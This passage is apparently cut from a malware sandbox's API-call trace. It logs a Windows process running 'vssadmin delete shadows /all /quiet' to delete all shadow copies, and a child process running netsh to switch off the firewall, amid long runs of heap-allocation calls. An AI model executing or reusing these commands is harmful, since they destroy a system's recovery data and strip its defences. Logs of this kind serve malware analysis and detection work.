Flags=0x0, Size=0x28) returned 0x304640 [0080.591] FindClose (in: hFindFile=0x2f1d40 | out: hFindFile=0x2f1d40) returned 1 [0080.592] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x26ebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ebd0) returned 0xffffffffffffffff [0080.592] GetLastError () returned 0x2 [0080.592] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x26ebd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26ebd0) returned 0x2f1d40 [0080.592] GetProcessHeap () returned 0x2f0000 [0080.592] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x304640, Size=0x8) returned 0x3098f0 [0080.592] FindClose (in: hFindFile=0x2f1d40 | out: hFindFile=0x2f1d40) returned 1 [0080.592] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0080.592] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0080.592] GetConsoleTitleW (in: lpConsoleTitle=0x26f120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0080.593] GetProcessHeap () returned 0x2f0000 [0080.593] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x21c) returned 0x309cd0 [0080.593] GetConsoleTitleW (in: lpConsoleTitle=0x309ce0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0080.593] GetProcessHeap () returned 0x2f0000 [0080.593] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x309cd0, Size=0xc0) returned 0x309cd0 [0080.593] GetProcessHeap () returned 0x2f0000 [0080.593] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x309cd0) returned 0xc0 [0080.593] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0080.595] GetProcessHeap () returned 0x2f0000 [0080.595] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x309cd0 | out: hHeap=0x2f0000) returned 1 [0080.595] InitializeProcThreadAttributeList (in: lpAttributeList=0x26eed8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x26ee98 | out: lpAttributeList=0x26eed8, lpSize=0x26ee98) returned 1 [0080.595] UpdateProcThreadAttribute (in: lpAttributeList=0x26eed8, dwFlags=0x0, Attribute=0x60001, lpValue=0x26ee88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x26eed8, lpPreviousValue=0x0) returned 1 [0080.595] GetStartupInfoW (in: lpStartupInfo=0x26eff0 | out: lpStartupInfo=0x26eff0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf8, hStdOutput=0x104, hStdError=0x104)) [0080.595] GetProcessHeap () returned 0x2f0000 [0080.595] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x20) returned 0x304640 [0080.595] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0080.595] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0080.595] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0080.595] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0080.595] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0080.595] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0080.595] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0080.595] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0080.595] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0080.595] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0080.596] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0080.596] GetProcessHeap () returned 0x2f0000 [0080.597] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x304640 | out: hHeap=0x2f0000) returned 1 [0080.597] GetProcessHeap () returned 0x2f0000 [0080.597] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x12) returned 0x308900 [0080.597] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x26ef10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26eec0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x26eec0*(hProcess=0x54, hThread=0x50, dwProcessId=0x914, dwThreadId=0x924)) returned 1 [0082.567] CloseHandle (hObject=0x50) returned 1 [0082.567] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0082.567] GetProcessHeap () returned 0x2f0000 [0082.567] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c230 | out: hHeap=0x2f0000) returned 1 [0082.567] GetEnvironmentStringsW () returned 0x30aa10* [0082.567] GetProcessHeap () returned 0x2f0000 [0082.567] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xae8) returned 0x30b500 [0082.567] FreeEnvironmentStringsW (penv=0x30aa10) returned 1 [0082.568] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77a60000 [0082.568] GetProcAddress (hModule=0x77a60000, lpProcName="NtQueryInformationProcess") returned 0x77ab14a0 [0082.568] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x26e7c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x26e7c8, ReturnLength=0x0) returned 0x0 [0082.568] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd6000, lpBuffer=0x26e800, nSize=0x380, lpNumberOfBytesRead=0x26e7c0 | out: lpBuffer=0x26e800*, lpNumberOfBytesRead=0x26e7c0*=0x380) returned 1 [0082.569] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) Process: id = "5" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0x6cdcf000" os_pid = "0x8f4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x25c" cmd_line = "netsh advfirewall set currentprofile state off" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0x904 [0085.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16f9f0 | out: lpSystemTimeAsFileTime=0x16f9f0*(dwLowDateTime=0xb6ccf20, dwHighDateTime=0x1d60ce6)) [0085.660] GetCurrentProcessId () returned 0x8f4 [0085.660] GetCurrentThreadId () returned 0x904 [0085.660] GetTickCount () returned 0x114d308 [0085.660] QueryPerformanceCounter (in: lpPerformanceCount=0x16f9f8 | out: lpPerformanceCount=0x16f9f8*=20080757623) returned 1 [0085.662] GetModuleHandleW (lpModuleName=0x0) returned 0x1720000 [0085.662] __set_app_type (_Type=0x1) [0085.662] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x172ad14) returned 0x0 [0085.662] __wgetmainargs (in: _Argc=0x17355c0, _Argv=0x17355d0, _Env=0x17355c8, _DoWildCard=0, _StartInfo=0x17355dc | out: _Argc=0x17355c0, _Argv=0x17355d0, _Env=0x17355c8) returned 0 [0085.665] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0085.665] GetModuleHandleW (lpModuleName=0x0) returned 0x1720000 [0085.666] _vsnwprintf (in: _Buffer=0x1737a40, _BufferCount=0x1fff, _Format="%s>", _ArgList=0x167548 | out: _Buffer="netsh>") returned 6 [0085.666] GetProcessHeap () returned 0x340000 [0085.666] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3607d0 [0085.666] GetProcessHeap () returned 0x340000 [0085.666] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3607f0 [0085.666] GetProcessHeap () returned 0x340000 [0085.666] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360810 [0085.666] GetProcessHeap () returned 0x340000 [0085.666] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360830 [0085.666] GetProcessHeap () returned 0x340000 [0085.666] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360850 [0085.666] GetProcessHeap () returned 0x340000 [0085.666] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360870 [0085.666] GetProcessHeap () returned 0x340000 [0085.666] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3608c0 [0085.666] GetProcessHeap () returned 0x340000 [0085.666] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3608e0 [0085.666] GetProcessHeap () returned 0x340000 [0085.666] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360900 [0085.666] GetProcessHeap () returned 0x340000 [0085.666] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360920 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360940 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360960 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360980 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3609a0 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3609c0 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3609e0 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360a00 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360a20 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360a40 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360a60 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360a80 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360aa0 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360ac0 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360ae0 [0085.667] GetProcessHeap () returned 0x340000 [0085.667] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360b00 [0085.667] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360b20 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360b40 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360b60 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360b80 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360ba0 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360bc0 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360be0 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360c00 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360c20 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360c40 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360c60 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360c80 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360ca0 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360cc0 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360ce0 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360d00 [0085.668] GetProcessHeap () returned 0x340000 [0085.668] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360d20 [0085.668] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360d40 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360d60 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360d80 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360da0 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360dc0 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360de0 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360e00 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360e20 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360e40 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360e60 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360e80 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360ea0 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360ec0 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360ee0 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360f00 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360f20 [0085.669] GetProcessHeap () returned 0x340000 [0085.669] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360f40 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360f60 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360f80 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360fa0 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360fc0 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x360fe0 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361000 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361020 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361040 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361060 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3610c0 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3610e0 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361100 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361120 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361140 [0085.670] GetProcessHeap () returned 0x340000 [0085.670] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361160 [0085.670] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361180 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3611a0 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3611c0 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3611e0 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361200 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361220 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361240 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361260 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361280 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3612a0 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3612c0 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3612e0 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361300 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361320 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361340 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361360 [0085.671] GetProcessHeap () returned 0x340000 [0085.671] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361380 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3613a0 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3613c0 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3613e0 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361400 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361420 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361440 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361460 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361480 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3614a0 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3614c0 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3614e0 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361500 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361520 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361540 [0085.672] GetProcessHeap () returned 0x340000 [0085.672] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361560 [0085.672] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361580 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3615a0 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3615c0 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3615e0 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361600 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361620 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361640 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361660 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap 